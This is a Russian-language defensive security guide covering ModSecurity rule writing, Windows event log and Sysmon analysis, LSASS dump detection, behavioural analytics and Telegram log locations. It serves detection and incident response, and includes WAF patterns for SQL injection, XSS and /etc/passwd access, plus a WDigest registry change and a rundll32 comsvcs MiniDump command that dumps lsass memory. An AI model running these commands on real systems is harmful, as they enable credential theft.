То есть это отдельный файл с собственными настройками. Вариант динамического изменения уровня в правилах тоже не работает в 3 версии. 

Возможен анализ User-Agent 

SecRule REQUEST_HEADERS:User-Agent YOUR_UNIQUE_ID phase:1,nolog,pass,ctl:debugLogLevel=9

Правила modsecurity

SecRule VARIABLES OPERATOR TRANSFORMATION

Переменные (VARIABLES)

• REQUEST_URI: URI запроса;
• ARGS: параметры запроса;
• REQUEST_BODY: тело запроса;
• REQUEST_COOKIES - куки;
• REQUEST_HEADERS - заголовки;
• XML - XML код в запросе.и т.д.

Операторы (OPERATOR)

• @contains: содержит указанное значение;
• @rx: совпадает с регулярным выражением;
• @eq: равно указанному значению и другие.

Модификаторы (TRANSFORMATION)

SecRule ARGS "password" "@rx (?i)password" "id:2,phase:2,t:none,t:lowercase,t:urldecode,t:replaceComments"

• t:none: Отключить все стандартные преобразования;
• t:lowercase: Преобразовать в нижний регистр;
• t:urldecode: Декодировать URL;
• t:replaceComments: Удалить комментарии.
  

Дополнительные опции

SecRule REQUEST_METHOD "@streq POST" "id:3,phase:2,chain,t:none,pass,nolog"

SecRule REQUEST_URI "@rx /login" "t:none,t:urldecode,t:replaceComments"

• chain: Связывает два правила так, что следующее применяется только если предыдущее сработало;
• pass: Продолжить выполнение правил вне зависимости от результата текущего;
• nolog: Не записывать событие в лог.

Примеры правил ModSecurity

Пример 1:

SecRule ARGS "password" "@rx (?i)password" "id:123,deny,status:403,msg:'Password leakage detected'"

ARGS: обращение к параметрам запроса
@rx: оператор совпадения с регулярным выражением
id: идентификатор правила
deny: действие с запросом - запретить
status: HTTP-статус ответа при срабатывании правила - 403
msg: название правила - 'Password leakage detected'

Данное правило ищет в параметрах запроса "password" и срабатывает при его обнаружении.

Пример 2:
SecRule ARGS "@rx ^(?:\'|\"|%27|%22|%3E|%3C|%3D|%3B|%20or%20|union|select|insert|update|delete|drop)" \

"id:1,phase:2,deny,msg:'SQL Injection Attack'"

Правило ищет SQL-инъекции в параметрах запроса (ARGS) и блокирует запрос, если обнаруживается соответствие с паттерном.

Пример 3:
SecRule REQUEST_COOKIES|REQUEST_HEADERS|ARGS|XML:/* \

"(<|%3C)([^sS]*s[sS]*c[cC]*r[rR]*i[iI]*p[pP]*t[tT]*)(>|%3E)" \

"id:2,phase:2,t:none,deny,msg:'Cross-site Scripting (XSS) Attack'"

Правило обнаруживает попытки вставки скриптов в запросы (XSS) и блокирует их.

Пример 4:
SecRule FILES_TMPNAMES "@inspectFile /etc/passwd" \

"id:3,phase:2,t:none,deny,msg:'Attempt to access /etc/passwd'"

Правило анализирует временные файлы, загруженные на сервер, и блокирует запрос, если в содержимом обнаруживается попытка доступа к файлу /etc/passwd.

Пример 5:
SecRule RESPONSE_BODY "@contains 'Invalid password'" \

"id:5,phase:4,t:none,log,deny,msg:'Password brute force attempt'"

Правило обнаруживает попытки подбора пароля по сообщению об ошибке в теле ответа и блокирует соответствующий запрос.

Как писать правила ModSecurity

ModSecurity Core Rule Set (CRS) — это набор правил, разработанный сообществом Open Web Application Security Project (OWASP) для использования с ModSecurity. Эти правила предназначены для обеспечения базовой защиты от различных видов популярных веб-атак. Вам не всегда нужно создавать свои собственные правила, так как CRS уже предоставляет обширный набор правил, охватывающих множество сценариев атак.

Но если у организации есть специфические требования или вы хотите настроить правила под свои нужды, вы можете создавать собственные правила, в соответствии со следующим алгоритмом:

1. Определите цель правила
Определите, какую атаку или вид активности вы хотите обнаруживать.
Решите, на какую часть HTTP-запроса (например, заголовки, тело запроса, параметры запроса) должно применяться правило.
2. Создайте правило
Определите фазу, на которой будет выполняться правило (например, phase:1 или phase:2).

Используйте документацию ModSecurity для создания правила, например:

SecRule REQUEST_HEADERS:User-Agent "@contains badbot" "id:1001,phase:2,deny,msg:'Bad Bot Detected.'" 

                  
Это правило запрещает запросы с User-Agent, содержащим строку "badbot" в заголовках.

3. Тестируйте правило
Включите правило и протестируйте его - нужно убедиться, что правило срабатывает на атаки и не фолсит.
Используйте инструменты для тестирования веб-безопасности (например, burp suit), чтобы проверить, как правило реагирует на различные виды запросов.
Если правило срабатывает не так, как хотелось бы, или блокирует легитимные запросы, исправьте его, чтобы снизить ложные срабатывания.
Просматривайте логи ModSecurity для выявления проблем и улучшения правил.
4. Документируйте
Добавьте комментарии к правилу, объясняющие его цель и предназначение.
Ведите документацию, чтобы другие коллеги могли легко понять, почему правило было создано.
Другой пример правила, предназначенного для блокировки SQL-инъекций:

SecRule ARGS|ARGS_NAMES|REQUEST_HEADERS|XML:/* "@rx (?i:(?:\b(?:union\s*all|select\s*(?:.+)\s*from|create\s*(?:.+)\s*table|delete\s*from|drop\s*(?:.+)\s*table|exec\s*(?:\w+\s*|\s*)\(|insert\s*into|shutdown|update\s*(?:.+)\s*set)\b))" "phase:2,deny,status:403,id:1002,msg:'SQL Injection attempt.'" 

Это правило проверяет параметры запроса, заголовки и XML-данные на наличие попыток SQL-инъекций.

Обнаружение на альтернативных периметрах

Windows события

eventvwr.msc

Категории системных журналов:

• Приложения (Application) – как и гласит название, содержит события и ошибки приложений.
• Безопасность (Security) – если в операционной системе включена и настроена функция аудита, журнал будет содержать записи, связанные с отслеживанием соответствующих событий (например, авторизация пользователя или попытки неудачного входа в операционную систему, события создания процессов и завершении их работы).
• Система (System) – здесь регистрируются события операционной системы и системных сервисов, их критичные завершения работы.
• Установка (Setup) – события, связанные с инсталляцией обновлений Windows, дополнительных приложений.

В разделе Журналы приложений и служб (Applications and Services Logs) детальная информация о событиях отдельных служб и приложений, зарегистрированных в операционной системе.

Типы событий:

• Сведения (Information) — информируют о штатной работе приложений;
• Предупреждение (Warning) — событие, свидетельствующее о возможных проблемах в будущем (например, заканчивается свободное место на диске – приложения могут продолжать работу в штатном режиме, но когда место закончится совсем, работа будет невозможна);
• Ошибка (Error) — проблема, ведущая к деградации приложения или службы, потерям данных;
• Критическое (Critical) — значительная проблема, ведущая к неработоспособности приложения или службы;
• Аудит успеха (Success audit) — событие журнала Безопасность (Security), обозначающее успешно осуществленное действие, для которого включено отслеживание (например, успешный вход в систему);
• Аудит отказа (Failure audit) — событие журнала Безопасность (Security) обозначающее безуспешную попытку осуществить действие, для которого включено отслеживание (например, ошибка входа в систему).

Фильтр журнала:

Правый клик по журналу – Фильтр текущего журнала… (>Filter Current Log…), Можно задать временной период, уровни события, выбрать журналы и конкретные источники событий, коды событий.

По умолчанию файлы журналов событий Windows используют расширение EVTX и находятся в папке %SystemRoot%\System32\winevt\Logs.

Приложение Просмотр событий (Event Viewer) позволяет также настроить дополнительные свойства журналов. Доступ к настройкам можно получить через панель быстрых действий, либо через контекстное меню журнала – правый клик по журналу – Свойства (Properties):

Настраивается путь файла журнала, текущий размер, максимальный размер файла. Для журнала "Система" желательно увеличить 100Мб, журнал security до 500Мб (при наличии достаточного запаса объема дискового пространства то увеличить до 1Гб)

Вариант действия при достижении журналом максимального значения:

• Переписывать события при необходимости (Overwrite events as needed) – новое событие будет записываться поверх самого старого события в журнале, таким образом будут доступны события только за определенный диапазон времени.
• Архивировать журнал при заполнении (Overwrite the log when full) – заполненный журнал будет сохранен, последующие события будут записываться в новый файл журнала. При необходимости доступа к старым событиям, архивный файл можно будет открыть в приложении Просмотр событий (Event Viewer).
• Не переписывать события (Do not overwrite events) – при заполнении журнала выдается системное сообщение о необходимости очистить журнал, старые события не перезаписываются.

Настройка размера журналов с помощью групповой политики (GPO):

Запустите консоль Group Policy Management (gpmc.msc), создайте новую GPO и назначьте на OU с компьютерами или серверами, для которых вы хотите изменить настройки Event Viewer (или назначьте GPO на корень домена);
Перейдите в раздел GPO Computer Configuration -> Policies -> Administrative Templates -> Windows Components -> Event Log Service. Как вы видите, в этом ветке есть подразделы для управления базовыми журналами Windows: Application, Security, Setup, System;
Чтобы увеличить максимальный размер любого из журналов, откройте параметр Specify the maximum log file size (KB), включите его и задайте нужный вам размер (минимум для Security, Sysmon — 500Мб, для остальных журналов минимум — 200Мб;
Обновите настройки политики на клиентах и проверьте, что в свойствах журнала теперь указан новый размер.

Первоочередный анализ

 Журнал Security (безопасность).

Будем перечислять события по идентификаторам (EventID):

• 4688 — событие создания процесса. Данное событие полезно для выявления создания нелегитимных процессов, для отслеживания запуска хакерских утилит, выявления нетипичных командных строк, выявления аномалий между родительским и дочерним процессом. По умолчанию аудит данного события в системе не настроен.
• 4624 — событие успешной аутентификации. Событие полезно для анализа нелегитимных входов пользователей, которые не должны аутентифицироваться на конкретном хосте, либо для выявления откуда исходило заражение.
• 4625 — событие неуспешной попытки аутентификации. Событие полезно для выявления попыток подбора пароля.
• 1102 — событие об очистке журнала событий Security.
• 4697 — событие установки службы. Событие полезно для выявления закрепления злоумышленника в системе через службы Windows.
• 4648 — событие попытки входа под заданной учетной записью. Активность может быть сгенерирована, когда процесс выполняется в режиме “Запуск от имени” (run as). В нормальном режиме работы систем данное событие встречается достаточно редко.

Журнал System (Система):

• 104 — событие очистки журнала событий.
• 7045 — событие установки службы. Событие полезно для выявления закрепления злоумышленника в системе через службы Windows.

Журнал TerminalServices-RemoteConnectionManager:

1149 — событие аутентификации по протоколу RDP (Remote Desktop Protocol). Полезен для выявления нелегитимных аутентификаций по RDP.

Журнал PowerShell:

4103 — событие фиксирует информацию о каждой выполненной команде и параметрах, с которыми она вызывалась. Полезен для выявления запуска командлетов powershell для выполнения разведки на рабочей станции или иных вредоносных действий. По умолчанию аудит данного события в системе не настроен.

4104 — событие фиксирует содержимое скрипта powershell на исполнение. Журналирование блокировки скриптов показывает каждый выполненный блок кода powershell. Даже если злоумышленник попытается скрыть команду, этот тип события покажет фактически выполненную команду powershell. Ещё в этом типе события могут фиксироваться некоторые выполняемые низкоуровневые вызовы API, эти события обычно записывается как Verbose, но, если подозрительная команда или сценарий используются в блоке кода, он будет зарегистрирован как c критичностью Warning. По умолчанию аудит данного события в системе не настроен.

Расширение журналируемых событий

Пример конфигурационного файла Sysmon от Флориана Рофа - конфигурация.

Sysmon

Sysmon (сокращение от System Monitor) — инструмент Microsoft в наборе Sysinternals для мониторинга и регистрации деятельности в операционной системе Windows. Он предоставляет дополнительную информацию о событиях в системе.

Задачей Sysmon является обнаружение и защита от вредоносного поведения, а также расследование инцидентов безопасности в сети. Он позволяет анализировать системные события, предоставляя информацию о процессах, сетевых подключениях, файловой активности, загрузке драйверов, реестре и т. д.

Функциональность Sysmon позволяет:

• фиксировать событие запуска и завершения процессов, при этом событие создания процесса в sysmon содержит в себе хэш-сумму запущенного процесса и командную строку родительского процесса, которых нет в событи 4688 расширенного аудита Windows;
• мониторировать сетевую активность, включая открытие и закрытие сетевых соединений и DNS-запросы;
• отслеживать загрузку драйверов и загрузку DLL-библиотек;
• регистрировать создание и удаление файлов, доступ к файлам и изменение файловой системы;
• анализировать действия с реестром, включая создание, изменение и удаление ключей и значений;
• фиксировать создания потоков, именованных каналов между процессами;
• мониторить изменения содержимого буфера обмена, способы сокрытия;
• выполнять активную функцию по блокировке запуска исполняемых файлов указанных в конфигурационном файле.

EventLogExplorer: — эффективное средство для просмотра и анализа событий, хранящихся в журналах операционных систем семейства Microsoft Windows. Позволяет существенно ускорить и упростить решение задач анализа журналов событий. Возможности Event Log Explorer существенно шире, чем у стандартного приложения Просмотр событий. Остальной функционал и преимущества приведены ниже:

• Высокая производительность.
• Мощная система фильтрации. Предоставляет пять способов фильтровать события по любому критерию. Сложные фильтры можно использовать повторно — сохранять и позже использовать снова. Быстрые фильтры по подобию существенно ускоряют работу. 
• Непосредственный доступ. Позволяет организовать в виде дерева компьютеры и их Windows-логи (журналы), а также лог-файлы. При этом доступ к журналам и управление компьютерами, журналами становится очень простым, наглядным и быстрым.
• Объединение журналов событий. Позволяет анализировать события Windows из разных источников (журналов и файлов) одновременно. Event Log Explorer позволяет объединять разные журналы с разных машин в одно представление (общий лог). Это очень помогает при анализе хронологии событий из множества источников.
• Пользовательские колонки. Показывают данные из описаний событий (имя пользователя, имя файла и т.д.) в отдельных колонках в списке событий. Это позволяет анализировать отдельные самые важные данные из описаний событий без необходимости просматривать описания событий целиком. Эта возможность сильно ускоряет анализ данных журналов событий Windows.
• Менеджер учетных данных. Позволяет хранить учетные данные к компьютерам. Когда вы открываете журнал компьютера по сети, Event Log Explorer использует те учетные данные, которые использовались в прошлый раз при работе с этим удаленным компьютером и его логами.
• Распечатка и экспорт. Позволяет вам распечатывать события, отфильтрованные выборки событий из журналов, журналы целиком — все что пожелаете. Также можете экспортировать данные в разные форматы (Excel - xls, xlsx, csv-текст, html и evt). Вы можете выбрать колонки, которые нужно экспортировать или печатать, выбрать из различных макетов размещения данных при печати и просмотреть как будут выглядеть распечатки.
• Планировщик и автоматизация. Позволяет легко автоматизировать многие задачи. Например, вы можете запланировать регулярный экспорт определенных выборок определенных событий из определенных журналов в Excel-файл в определенной папке.
• Активный мониторинг. Можете настроить Event Log Explorer на регулярное обнаружение новых событий, удовлетворяющих заданному фильтру в определенных Windows-журналах в вашей сети. Также можно настроить получение оповещений на e-mail, когда заданные события появятся. Это позволит более оперативно реагировать на проблемы.
• Резервное копирование. Предоставляет три способа резервного копирования журналов Windows: бэкап вручную, автоматическое резервное копирование при заполнении лога или планируемое расширенное резервное копирование с помощью нашей утилиты, интегрированной с Event Log Explorer.
• Аналитические отчеты. В Event Log Explorer очень просто сделать аналитические отчеты и диаграммы для журналов Windows и выборок событий Windows.
• Прямой доступ к файлам. Event Log Explorer может получать данные из EVT and EVTX файлов напрямую (без Windows API). Это позволяет извлекать данные даже из поврежденных файлов или работать с EVTX файлами в Windows XP.
  Закладки и цветовое кодирование. В Event Log Explorer процесс исследования сложных ситуаций становится немного приятнее благодаря множеству маленьких удобств, таких как цветовое кодирование (подсветка определенных событий заданными Вами цветами) и закладки (запоминание позиций в журнале или выборке и быстрый возврат к этим позициям).
• Подмена источника описаний. При следственных действиях часто приходится работать с лог-файлами, взятыми с машин другой сетевой инфраструктуры. Вы можете задать другой компьютер, с которого будут браться описания событий, так как на компьютере исследователя могут отсутствовать необходимые описания. Например, при анализе логов, взятых с Windows-сервера, к которому нет доступа, можно указать другой сервер и получить необходимые описания.
• Коррекция времени. При проведении исследования Вы можете столкнуться с журналами, взятыми с компьютеров, находившихся в другой временной зоне. По умолчанию события будут показываться в вашей временной зоне. Вы можете задать коррекцию времени и увидеть события так, как они происходили в том месте, в той временной зоне, где находится компьютер, с которого взяты данные.

EvtxECmd: Инструмент EvtxECmd — парсер событий EVTX из набора утилит Эрика Зиммермана. Утилита позволяет конвертировать EVTX файлы с событиями в формат CSV, XML, JSON для более удобной дальнейшей работы с событиями. 

EvtxECmd не имеет графического интерфейса. Сконвертировать журнал событий Sysmon в формат CSV из формата EVTX с помощью команды: 

EvtxECmd.exe -f "Microsoft-Windows-Sysmon%4Operational.evtx" --csv "C:\tools\EvtxECmd" --csvf sysmon.csv

Где ключ -f означает какой журнал событий принимается для конвертации, ключ --csv означает в какую папку сохраняем полученные данные, ключ --csvf задает имя сохраняемого файла в формате csv.

PowerShell — командлеты PowerShell для работы с событиями позволяют гибко выполнять поиск нужных событий. Основные команды PowerShell для работы с логами:

Get-EventLog — для работы с классическими журналами (Application, System, Security);
Get-WinEvent — для работы с любыми журналами.
Список доступных журналов можно получить командой:

Get-WinEvent -ListLog

 Вывести 10 последних записей журнала System позволяет команда: 

Get-WinEvent –LogName ‘System’ –MaxEvents 10

 Для более удобной фильтрации можно использовать хеш-таблицы, например, следующая команда выводит информацию о событиях журнала Security с кодом 4688, генерация которых связана с созданием процесса в операционной системе Windows:

Get-WinEvent –FilterHashTable @{LogName=’Security’;ID=4688}

Анализ активности при дампе памяти процесса lsass.exe

Сервис проверки подлинности локальной системы безопасности (Local Security Authority Subsystem Service, LSASS) — часть операционной системы Windows, отвечающая за авторизацию локальных пользователей отдельного компьютера.

Память процесса lsass.exe в нем хранятся хеши паролей учетных записей, прошедших аутентификацию. Если еще включить функцию WDigest, то в таком случае злоумышленник получит уже пароли в открытом виде. Сделать это злоумышленник может одним из способов с помощью изменения реестра: 

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1

Способов дампа различными утилитами памяти процесса lsass.exe огромное множество, мы проанализируем один из вариантов. 

Один из способов дампа памяти процесса lsass.exe

Событие 1 Sysmon зафиксировало подозрительную командную строку:

"C:\Windows\system32\rundll32.exe" C:\windows\system32\comsvcs.dll MiniDump 728 dump.bin full

Где rundll32.exe запускает библиотеку comsvcs.dll и вызывает функцию MiniDump, цифра 728 — это идентификатор процесса lsass.exe. Далее сохраняет в файл дамп памяти процесса lsass.exe, full - означает полный дамп памяти процесса.
Команда, запущенная с высокими правами - High.

Процесс-инициатор — C:\Windows\system32\rundll32.exe
Процесс, к области памяти которого было обращение. Напомним, что lsass.exe содержит в памяти как минимум хеши аутентифицированных пользователей — C:\Windows\system32\lsass.exe
Права доступа запрошены, в том числе и на чтение, которое достаточно для дампа - 0x1410
Стек вызовов (CallTrace) содержит библиотеку comsvcs.dll, у которой есть функция MiniDump для дампа памяти процессов.

Таким образом злоумышленнику даже не нужно на рабочую станцию с собой приносить инструмент для дампа памяти процесса lsass.exe, т.к. операционная система имеет достаточный функционал для этого. Подобный функционал, который используется злоумышленниками в своих атаках называется LOLBins. 

LOLBins (Living Off the Land Binaries and Scripts) – это термин, используемый в кибербезопасности для обозначения легитимных исполняемых файлов, скриптов или утилит, уже доступных на компьютере пользователя, с помощью которых хакеры выполняют различные вредоносные действия.

Поведенческий анализ

Поведенческий анализ помогает выявлять отклонения от нормального поведения пользователя, что может указывать на компрометацию аккаунта или вредоносную активность. Анализируя поведение, системы безопасности могут классифицировать типы угроз и атак, определяя потенциальные цели злоумышленников. Техника направлена на быстрое обнаружение подозрительных действий, что позволяет оперативно реагировать на угрозы.

Поведенческий анализ в приложениях

В контексте безопасности под поведенческим анализом понимается мониторинг и анализ поведения пользователей в приложениях с целью выявления аномальных и подозрительных активностей.

Месседжеры

• Обнаружение необычных входов — проверка местоположения входа в аккаунт.
• Сравнение с предыдущими местами входа.
• Мониторинг частоты сообщений — анализ необычно высокой или низкой активности в отправке сообщений.
• Фильтрация контента — обнаружение отправки или получения подозрительных файлов.
• Анализ необычного поведения в чатах.

Почтовые приложения

• Обнаружение подозрительных вложений — мониторинг вложенных файлов с подозрительными расширениями.
• Отслеживание необычных попыток входа — защита от несанкционированных попыток доступа к электронной почте.
• Анализ паттернов активности — определение необычных времен отправки и получения писем.

1С

• Аномальные попытки входа в систему.
• Необычные запросы и операции: изменение уровня доступа или ролей пользователя, необычные или редкие запросы к базе данных или изменения данных.
• Попытки доступа к защищенным или чувствительным данным после нескольких неудачных попыток.
• Необычные объемы передачи данных.
• Попытки изменения или удаления журналов регистрации.

Системы анализа поведения пользователей

Системы анализа поведения пользователей (User and Entity Behavior Analytics, UEBA) позволяют проводить анализ поведения пользователей и сущностей (Entity). Основная цель UEBA заключается в выявлении аномальных и потенциально угрожающих действий, которые могут указывать на наличие киберугроз или несанкционированной активности в сети.

Основные задачи систем UEBA:

• Определение типичного поведения пользователей в приложениях.
• Выявление аномалий на фоне определенного типичного поведения пользователей.
• Выявление потенциальных угроз безопасности.
• Анализ данных в контексте, с учетом особенностей среды и типичное поведение пользователей в различных ситуациях.

С открытым исходным кодом можно использовать системы ниже:

• Wazuh — платформа для обеспечения безопасности, предоставляющая агентов для сбора данных, включая логи, и систему анализа поведения.
• MozDef — это бесплатная открытая платформа для обработки и анализа событий безопасности, которая включает в себя модули для обнаружения аномалий.
• ELK Stack (Elasticsearch, Logstash, Kibana) — ELK Stack часто используется для централизованного сбора и анализа логов, и его можно настроить для обнаружения аномалий.

Интеграция систем поведенческого анализа с мессенджерами

При интеграции мессенджеров с UEBA-системами осуществляется:

• Логирование и сбор данных. Необходим доступ к логам мессенджеров. Логи как правило включают в себя события входа и выхода, обмен сообщениями, создание и редактирование групп и другие активности пользователей. Логи должны быть стандартизованы и нормализованы в зависимости от используемой системы.
• Анализ поведения. Системы поведенческого анализа используют алгоритмы и методы машинного обучения для анализа поведения пользователей. Они используются для выявления стандартных паттернов активности и обнаружения аномальных действий.
• Учет контекста. Стандартные паттерны активности пользователей включают в себя контекст — время активности, местоположение пользователя, устройства и другие параметры, таким образом можно выявить аномалии в поведении пользователя.
• Обнаружение аномалий. После выявления стандартных паттернов с учетом окружающего контекста, становится возможным выявлять аномалии в поведении пользователей.
• Использование баз известных угроз. Помимо вышеперечисленного, подозрительные действия также выявляются на основе предыдущих инцидентов безопасности.

Метрики, которые могут использоваться при выявлении аномалий:

• Время активности пользователя;
• Геолокация пользователя;
• События успешных/неуспешных логинов;
• Объем передаваемых и получаемых данных;
• При наличии доступа к соответствующим логам: изменения в структуре групповых чатов, содержание сообщений и содержание вложенных файлов.

В системах поведенческого анализа без интеграции с SIEM и IRP можно настроить отправку оповещений Blue Team, в которых будет содержаться информация о событиях ИБ. Далее Blue Team может принимать меры по расследованию и реагированию.

Логирование в мессенджерах на примере Telegram

По умолчанию логирование в Telegram крайне ограничено. Путь к файлу логов можно найти, открыв окно с настройками и введя viewlogs, - после этого откроется папка с файлом log.txt

Это могут быть пути:

• На MacOS: /Users/USERNAME/Library/Application Support/log.txt.
• На Windows: C:\Users\USERNAME\AppData\Roaming\Telegram Desktop\log.txt.
• На Linux Ubuntu: /home/user/.local/share/TelegramDesktop/log.txt.

Файл log.txt постоянно обновляется, при этом вес его не должен превышать 250 Кб. Файл содержит логи об ошибках приложения, визуальной составляющей (например, загрузка шрифтов), о работе аудиоустройств и т.д. Эти логи, прежде всего, необходимы разработчикам для устранения ошибок в работе приложения, и представляют мало интереса с точки зрения безопасности.

Расширенные логи можно получить путем включения режима отладки (debug mode). Для этого при открытом окне настроек Telegram необходимо ввести debug mode, Telegram запросит подтверждение для включения этого режима. По умолчанию debug mode отключен. Если организации необходимо отслеживать расширенные логи приложения Telegram у сотрудников, нужно учесть следующие важные моменты:

• На рабочем устройстве в Telegram должен быть включен debug mode. Например, сотрудники получают устройства с предустановленным ПО, и администраторы заранее включили режим отладки. Учитывая, что любой пользователь может самостоятельно отключить debug mode, организации небходимо отслеживать события включения-выключения этого режима, что можно делать с помощью записи событий из обычных логов log.txt.
• Логи с включенным debug mode могут содержать чувствительную для пользователя и для организации информацию: названия чатов, в которых состоит пользователь, контакты пользователя, текст сообщений, время просмотра чатов, время звонков, формат звонков (аудио/видео) и т.д. Это требует, во-первых, предупреждения сотрудников о том какую информацию собирает компания, во-вторых, необходимо обеспечить безопасную передачу данных из файлов логов до, например, SIEM.

Пути до файлов логов будут аналогичными тем, где находится log.txt, сами логи хранятся в папке DebugLogs.

Пример log.txt: 

[2024.01.22 13:22:02] Launched version: 4014009, install beta: [FALSE], alpha: 0, debug mode: [FALSE]
[2024.01.22 13:22:02] Executable dir: /Applications/, name: Telegram.app
[2024.01.22 13:22:02] Initial working dir: //
[2024.01.22 13:22:02] Working dir: /Users/USERNAME/Library/Application Support/Telegram Desktop/
[2024.01.22 13:22:02] Command line: /Applications/Telegram.app/Contents/MacOS/Telegram -noupdate -tosettings
[2024.01.22 13:22:02] Executable path before check: /Applications/Telegram.app
[2024.01.22 13:22:02] Logs started
[2024.01.22 13:22:02] Connecting local socket to /tmp/7cf2fc74b790e21d12eb2abd54c62016-{87A94AB0-E370-4cde-98D3-ACC110C5967D}...
[2024.01.22 13:22:02] This is the only instance of Telegram, starting server and app...
[2024.01.22 13:22:02] Moved logging from '/Users/USERNAME/Library/Application Support/Telegram Desktop/log_start0.txt' to '/Users/USERNAME/Library/Application Support/Telegram Desktop/log.txt'!
[2024.01.22 13:22:02] Global devicePixelRatio: 2
[2024.01.22 13:22:02] Primary screen DPI: 72, Base: 72.
[2024.01.22 13:22:02] Computed screen scale: 100
[2024.01.22 13:22:02] DevicePixelRatio: 2
[2024.01.22 13:22:02] ScreenScale: 110
[2024.01.22 13:22:02] Font: from ':/gui/fonts/DAOpenSansRegular.ttf' loaded 'DAOpenSansRegular'
[2024.01.22 13:22:02] Font: from ':/gui/fonts/DAVazirRegular.ttf' loaded 'DAVazirRegular'
[2024.01.22 13:22:02] Font: from ':/gui/fonts/DAOpenSansRegularItalic.ttf' loaded 'DAOpenSansRegularItalic'
...

[2024.01.22 14:18:25] Could not send ping for some seconds, restarting...
[2024.01.22 14:23:36] Audio Info: -receiveWakeNote: received, scheduling detach from audio device
[2024.01.22 14:33:00] Audio Info: recreating audio device and reattaching the tracks
[2024.01.22 14:33:02] Audio Info: Closing audio playback device.
[2024.01.22 14:36:19] API Warning: not loaded minimal channel applied.
[2024.01.22 14:36:47] Audio Info: recreating audio device and reattaching the tracks
[2024.01.22 14:36:49] Audio Info: Closing audio playback device.
[2024.01.22 14:53:01] Message Info: bad message notification received (error_code 16) for msg_id = 7326916857930079324, seq_no = 1378
[2024.01.22 14:53:01] Message Info: bad message notification received (error_code 16) for msg_id = 7326916858150819740, seq_no = 1378

С точки зрения безопасности в этих логах могут быть полезными следующие сообщения:

Версия приложения:
 Launched version: 4014009, install beta: [FALSE], alpha: 0, debug mode: [FALSE].
Является ли включенным/выключенным debug mode:
 Launched version: 4014009, install beta: [FALSE], alpha: 0, debug mode: [FALSE].
Рабочая директория:
 Working dir: /Users/USERNAME/Library/Application Support/Telegram Desktop/.
Также могут быть полезны сообщения Message Info — в рамках рассмотрения логов по умолчанию, эти сообщения содержат коды ошибок (error_code), которые связаны с определенным msg_id, где msg_id — это уникальный идентификатор сообщения или контейнера (контейнеры представляют собой сообщения, содержащие несколько других сообщений и используются для возможности передачи нескольких запросов RPC и/или служебных сообщений одновременно).

Варианты error_code:

16: msg_id слишком низкий (скорее всего ошибка связана с неверным временем клиента, нужно синхронизировать его с использованием уведомлений msg_id и переслать сообщение с "правильным" msg_id или упаковать его в контейнер с новым msg_id, если исходное сообщение слишком долго ожидалось на клиенте для передачи);
17: msg_id слишком высокий (аналогично предыдущему случаю необходима синхронизация времени клиента, и сообщение должно быть перенаправлено с правильным msg_id);
18: неверные два последних бита msg_id (сервер ожидает, чтобы msg_id клиентского сообщения делился на 4);
19: msg_id контейнера совпадает с msg_id ранее полученного сообщения (это никогда не должно происходить);
20: сообщение слишком старое, и нельзя проверить было ли сервером получено сообщение с этим msg_id или нет;
32: msg_seqno слишком низкий (сервер уже получил сообщение с более низким msg_id, но с более высоким или равным и нечетным seqno);
33: msg_seqno слишком высокий (аналогично, есть сообщение с более высоким msg_id, но с более низким или равным и нечетным seqno);
34: ожидается четный msg_seqno (несущественное сообщение), но получено нечетное;
35: ожидается нечетный msg_seqno (существенное сообщение), но получено четное.

Журнал MTP

Так же, как и расширенные логи, логи MTP записываются в файлы каждые 15 минут, названия файлов логов имеют структуру mtp_HH_MM.txt, где:

HH - час в 24-часовом формате;
MM - минуты в интервалах 15 минут.
Например: mtp_14_15.txt, mtp_14_30.txt.

Журнал last_call_log

Файл содержит информацию о последнем совершенном аудио/видео звонке. Логи предоставляют информацию о запуске и конфигурации WebRTC (Web Real-Time Communication) в приложении. В контексте информационной безопасности эти логи могут быть полезными для следующих аспектов:

1. Криптография. В логах видно создание ключевых пар и сертификатов для шифрования данных с использованием OpenSSL.

2. Сетевая активность. Логи содержат информацию о портах и сетевых настройках, таких как IP-адреса и использование сетей. Это может быть полезно для отслеживания и анализа сетевой активности приложения.

3. Протоколы и передача данных. Протоколы и механизмы передачи данных, такие как DTLS (Datagram Transport Layer Security) и SRTP (Secure Real-time Transport Protocol), указываются в логах. Это важно для понимания, как происходит обеспечение безопасности данных в реальном времени.

4. Отладка и анализ ошибок. Логи содержат информацию о возможных ошибках, отладочные сообщения и стеки вызовов. Это может помочь в обнаружении и решении проблем, связанных с аудио- и видеокоммуникациями.

5. Информация о сети. Логи отображают сетевые параметры, такие как тип сети, стоимость соединения, а также IP-адреса и порты. Это полезная информация для оценки стабильности и производительности сети.

С точки зрения информационной безопасности важно следить за корректностью настроек шифрования, обеспечивать правильное управление ключами, а также мониторить сетевую активность для выявления потенциальных угроз или несанкционированной активности. Логи также могут быть использованы для анализа событий в случае инцидентов безопасности.

1. Установка параметров эксперимента WebRTC:

   Setting field trial string:WebRTC-DataChannel-Dcsctp/Enabled/WebRTC-Audio-MinimizeResamplingOnMobile/Enabled/WebRTC-Audio-iOS-Holding/Enabled/WebRTC-IceFieldTrials/skip_relay_to_non_relay_connections:true/
                     

   Здесь указана строка параметров для WebRTC, включающая различные опции для аудио и ICE (Interactive Connectivity Establishment).

2. Настройка аудио-устройства:

   AudioDeviceBuffer::ctor SetRecordingSampleRate(48000) SetRecordingChannels(1)
                     

   Происходит инициализация и настройка параметров аудио-устройства, включая частоту дискретизации и количество каналов.

3. Создание ключевых пар и сертификата с использованием OpenSSL:

   Making key pair Returning key pair Making certificate for WebRTC Returning certificate
                     

   Записи связаны с генерацией ключевых пар и сертификата с использованием OpenSSL для обеспечения безопасности.

4. Информация о подключенных модулях обработки аудио:

   Injected APM submodules... Denormal disabler: supported
                     

   Указываются внедренные модули обработки аудио и их параметры, такие как поддержка Denormal disabler.

5. Настройка параметров сети и ICE:

   Set continual_gathering_policy to 1 Set backup connection ping interval to 25000 milliseconds. Set ICE receiving timeout to 2500 milliseconds
                     

   Установка параметров сети и ICE (Interactive Connectivity Establishment) для обеспечения стабильности и надежности подключения.

6. Настройка параметров шифрования:

   Setting RTCP Transport on null transport 0 Setting RTP Transport on null transport 0
                     

   Установка параметров транспорта для RTCP и RTP, связанных с безопасностью и шифрованием.

7. Информация о параметрах обработки звука и аудиопроцессинге:

   WebRtcVoiceEngine::ApplyOptions: AudioOptions... AudioProcessing::ApplyConfig: AudioProcessing::Config{...
                     

   Указываются параметры аудиопроцессинга, такие как управление эхом, уровень шума, фильтры высоких частот и др.

